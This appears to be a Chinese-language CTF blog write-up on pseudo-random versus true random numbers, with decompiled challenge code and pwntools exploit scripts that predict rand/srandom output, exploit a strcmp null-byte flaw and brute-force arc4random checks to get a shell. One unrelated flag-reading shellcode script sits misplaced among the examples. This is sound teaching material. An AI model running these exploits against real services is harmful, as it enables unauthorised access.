什么是伪随机? 对于基本的随机数生成,比如说
1 2 3 srand rand srandom random
这两个函数的随机数生成都基于时间种子seed,通常来说,只要glibc相同,seed相同,那么所生成的随机数就是一样的。
下面简单介绍一下随机数生产的代码 1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <stdlib.h> #include <time.h> int main (void ) { printf ("the first random num is %d\n" ,rand()%100 ); srand(1 ); printf ("if the seed is 1 , the random num is %d\n" ,rand()%100 ); }
1 2 the first random num is 83 if the seed is 1 , the random num is 83
伪随机的利用
下图是在Ubuntu22.04的情况下运行同样的代码(上面是在ubuntu24.04运行)
可以发现产生的随机数是相同的,为什么呢?
我们发现虽然是在不同的ubuntu版本,即glibc版本不同的环境下运行,但是程序所利用的libc版本和ld版本相同,算法相同,他们所产生的随机数依旧是相同的,这就是伪随机的概念
所以我们只需要找到相同的libc就可以掌握随机数,但是我们写pwn的脚本是拿python写的,在python下如何模拟c语言产生随机数呢,ctype库
下面展示基本的利用(这篇文章 提到过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from ctypes import *libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) seed = libc.time(0 ) libc.srand(seed) for i in range (10 ): num = libc.rand() % 50 print (num) ''' srand 搭配 rand srandom 搭配 random 前者安全性差 '''
基本的介绍就到这里,下面看几个例题吧:
例题 srand/rand 题目链接
buildctf 你想成为沙威玛传奇吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl main (int argc, const char **argv, const char **envp) { initial(argc, argv, envp); while ( 1 ) { menu(); fgets(num, 4 , stdin ); switch ( atoi(num) ) { case 1 : buy(); break ; case 2 : eat(); break ; case 3 : check(); break ; case 4 : thief(); break ; case 5 : beggar(); break ; default : printf ("go out" ); exit (0 ); } } }
乍一看以为是堆题,但其实很简单。
在eat函数中发现,只要Shawarma数量大于99就可以获得shell,而在beggar函数里面发现满足rand() & 1==0,就可以获得Shawarma。
1 2 3 4 5 6 7 8 9 10 11 int eat () { int result; puts (&byte_402190); result = Shawarma; if ( Shawarma > 99 ) result = system("/bin/sh" ); Shawarma = 0 ; return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 beggar () { if ( (rand() & 1 ) != 0 ) { puts (&byte_402244); return (unsigned int )--money; } else { puts (&byte_402260); return (unsigned int )++Shawarma; } }
x from pwn import *context(arch=’amd64’,log_level=’debug’)#p = process(“./pwn”)p = remote(“challenge.basectf.fun”,30343)def bug(): gdb.attach(p) pause()shellcode = (‘’’ mov rax, 0x67616c662f2e push rax mov rsi, rsp xor rax, rax xor rdi, rdi sub rdi, 100 xor rdx, rdx mov r10, 7 mov rax, 0x101 syscall mov rdi,1 mov rsi,3 mov rdx,0 mov r10,0x100 push 40 pop rax syscall ‘’’)p.send(asm(shellcode))p.interactive()python
1 2 3 4 5 6 7 8 9 10 void initial () { unsigned int v0; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); v0 = time(0LL ); srand(v0); }
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from ctype import *import timecontext(arch='amd64' ,log_level='debug' ) p = remote("27.25.151.80" ,36122 ) libc = cdll.LoadLibrary("libc.so.6" ) seed = libc.time(0 ) libc.srand(seed) cnt = 0 while (cnt < 100 ): p.recv() num = libc.rand() & 1 if num == 0 : p.sendline(str (5 )) cnt += 1 else : p.sendline(str (4 )) p.recv() p.sendline(str (2 )) p.interactive()
srandom/localtime 题目:moectf2024 这是什么?random!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 timer = time(0LL ); v3 = localtime(&timer); srandom(v3->tm_yday); puts ("Let's play a number guessing game." );while ( tests-- ){ secret = random() % 90000 + 10000 ; printf ("Guess a five-digit number I'm thinking of\n> " ); fflush(stdout ); __isoc99_scanf("%u" , &guess); if ( guess != secret ) { puts ("Wrong." ); exit (1 ); } puts ("Wow, you are right!" ); }
下面是关于localtime和tm_yday的解释
代码解释
time(0LL)
或者 time(NULL)
返回的是当前的 UNIX 时间戳(从 1970 年 1 月 1 日 00:00:00 UTC 到现在的秒数)。这个时间戳是一个 time_t
类型。
timer
变量存储了当前的时间戳。
localtime(&timer)
将时间戳 timer
转换为本地时间,并返回一个指向 struct tm
结构体的指针。struct tm
包含了日期和时间的各个组成部分(年、月、日、时、分、秒等)。
v3是一个指向 struct tm
的指针,结构体中的一些字段包括:
tm_year
: 当前年(自 1900 年以来的年数)
tm_mon
: 当前月(从 0 到 11)
tm_mday
: 当前日
tm_yday
: 当前年中的第几天(从 0 到 365)
srandom()
是一个用于初始化随机数生成器的函数,类似于 srand()
,但通常在某些系统中提供更强的随机性。它接收一个无符号整数作为种子,后续的随机数生成就基于这个种子。
v3->tm_yday
是结构体 tm
中的一个字段,它表示当前日期在一年中的第几天(范围为 0 到 365)。这个值被用来作为种子。
从本地时间中提取当前日期在一年中的第几天(tm_yday)作为随机数种子,算法是一样的模拟即可
后续代码不放出来了,还有两个随便输出什么都行,就可以获得flag了
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from ctype import *import timecontext(arch='amd64' ,log_level='debug' ) libc = ELF("/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6" ) elf = ELF("./pwn" ) elf1 = cdll.LoadLibrary("/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6" ) p = remote("192.168.119.52" ,53889 ) p.recvuntil("Let's play a number guessing game.\n" ) timer = int (elf1.time(0 )) tm = time.localtime(timer) day_of_year = tm.tm_yday-1 elf1.srandom(day_of_year) for i in range (10 ): p.recvuntil("Guess a five-digit number I'm thinking of\n> " ) p.sendline(str ( (elf1.random()%90000 ) + 10000 )) p.recvuntil("Guess a five-digit number I'm thinking of\n> " ) p.sendline(str (1 )) p.recvuntil("Guess a five-digit number I'm thinking of\n> " ) p.sendline(str (1 )) p.recvuntil("You only got two of them wrong, flag still for you." ) p.recv()
什么是真随机
真随机代表着我们无法通过libc去预测、模拟系统产生的随机数是多少
下面模拟一个真随机数产生的过程:
/dev/random获得随机数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> int main (void ) { int fd = open("/dev/random" , O_RDONLY); if (fd < 0 ){ perror("Error open /dev/random" ); return (1 ); } uint32_t num; ssize_t result = read(fd, &num , sizeof (num)); printf ("Random num is : %u\n" , num ); close(fd); return (0 ); }
1 2 ubuntu24.04 : Random num is : 2697870537 ubuntu22.04 : Random num is : 2754856894
即使libc相同,但是产生的随机数还是不相同的,下面来了解一下/dev/random产生随机数的原理
通过 /dev/random
获取随机数的原理涉及到操作系统的随机数生成机制。/dev/random
是 Linux 和类 Unix 操作系统中的一个设备文件,专门用于生成加密级别的高质量随机数。其工作原理如下:
1. 熵池的概念
/dev/random
使用熵(entropy)来生成随机数。熵是系统中不可预测事件的来源,比如键盘输入、鼠标移动、硬盘访问时间等。这些事件的特性难以预测,因此可以作为随机数生成的来源。
操作系统维护一个“熵池”,即收集和存储这些不可预测事件产生的数据。当系统收集到足够的熵时,就可以利用这些数据生成高质量的随机数。
2. 工作流程
当程序读取 /dev/random
时,操作系统会从熵池中提取熵,并使用某种加密安全的伪随机数生成器(CSPRNG)来输出随机数据。
当熵池中的熵不足时(即系统中没有足够的随机事件发生),读取 /dev/random
会阻塞(等待),直到收集到足够的熵。因此,/dev/random
适合需要高安全性、高随机性的应用场景,比如生成加密密钥。
3. 阻塞和非阻塞
/dev/random
是阻塞的。当熵池耗尽时,程序会被迫等待,直到系统收集到足够的熵为止,这可能导致延迟。
对应的非阻塞版本是 /dev/urandom
。/dev/urandom
也使用熵池,但在熵耗尽时不会阻塞,而是继续使用伪随机数生成器生成随机数。虽然这减少了阻塞问题,但在某些极端安全要求下,使用 /dev/random
会更好。
4. 常用场景
/dev/random
主要用于加密操作、密钥生成、会话标识符等需要高随机性、无法预测的场景。
总结 通过 /dev/random
获取随机数的核心原理在于熵的采集与使用。系统不断从硬件和系统事件中收集不可预测的行为作为熵来生成随机数,确保生成的数具有高不可预测性,适用于高安全需求的场合。
/dev/random通过熵值来获取随机数,而熵值是不可预测的,并且是由于很多因素造成的,因此也造成了它的真随机性,但是我们可以用爆破来求出随机数。
例题 题目:buildctf real_random
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char buf[8 ]; char s2[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); my_init(); while ( 1 ) { get_random(s2); printf ("please input your text: " ); read(0 , buf, 8uLL ); if ( !strcmp (buf, s2) ) { printf ("Congratulations!!!" ); getshell(); } else { puts ("No,guess again!!!" ); } } }
get_random
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall get_random (char *a1) { int fd; fd = open("/dev/random" , 0 ); if ( fd < 0 ) { printf ("failed to open the file!" ); exit (-1 ); } read(fd, a1, 8uLL ); return close(fd); }
很明显的/dev/random
的真随机,但是难道就没有漏洞了吗?其实不然
strcmp
关键就在这个函数,遇到\x00
就会停止比较,那么我们传入一个p64(0),只要随机数的首字节是\x00,就会比较成功,并且极大的缩短了比较时间。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(arch='amd64' ,log_level='debug' ) p = remote("27.25.151.80" ,37097 ) for i in range (9999 ): p.recvuntil("please input your text: " ) payload = p64(0 ) p.send(payload) rev = p.recvuntil(b'\n' ) success(f"第{i+1 } 次,recv{str (rev)} " ) if b"Congratulations!!!" in rev: p.interactive() break
arc4random
arc4random()
函数 :
arc4random()
是一个用于生成随机数的函数,常见于 BSD 系统,它基于一个称为 ARC4 的加密算法实现。
这个函数不需要任何输入参数,直接返回一个伪随机数,通常是一个 32-bit
的无符号整数。
1 2 3 4 5 6 7 8 9 #include <stdlib.h> #include <stdio.h> int main () { uint32_t random_number = arc4random(); printf ("Random number: %u\n" , random_number); return 0 ; }
例题 moectf2024 Catch_the_canary!
1 2 3 4 5 6 7 8 9 10 11 v3 = arc4random(argc, argv, envp); v4 = v3 - 0xFEFFFFFFFFFFFF LL * ((__int64)((0x4040404040404081 LL * (unsigned __int128)v3) >> 64 ) >> 54 ); v8 = (unsigned int )arc4random(argc, 0LL , v4) % 0x2345 + 16768186 ; init(); write(1 , "Here, my canary, with a cage.\n" , 0x1E uLL); write(1 , "[Info] Password required.\n" , 0x1A uLL); while ( (unsigned int )__isoc99_scanf("%u" , &v6) == -1 || v8 != v6 ) write(1 , "[Error] Wrong! Try again.\n" , 0x1A uLL); write(1 , "[Info] Cage opened.\n" , 0x14 uLL); write(1 , "Oh, but I've got \"cageincage\"\nwhich is impossible to open.\nOne shot.\n" , 0x45 uLL);
产生的是一个固定的随机数,所以我们只需要爆破即可:
1 2 3 4 5 6 7 p.recvuntil(b'required.\n' ) for i in range (0xFFDCBA ,0xFFDCBA +0x2345 ): p.sendline(str (i)) rev = p.recvuntil(b'] ' ) if b"Error" not in rev: break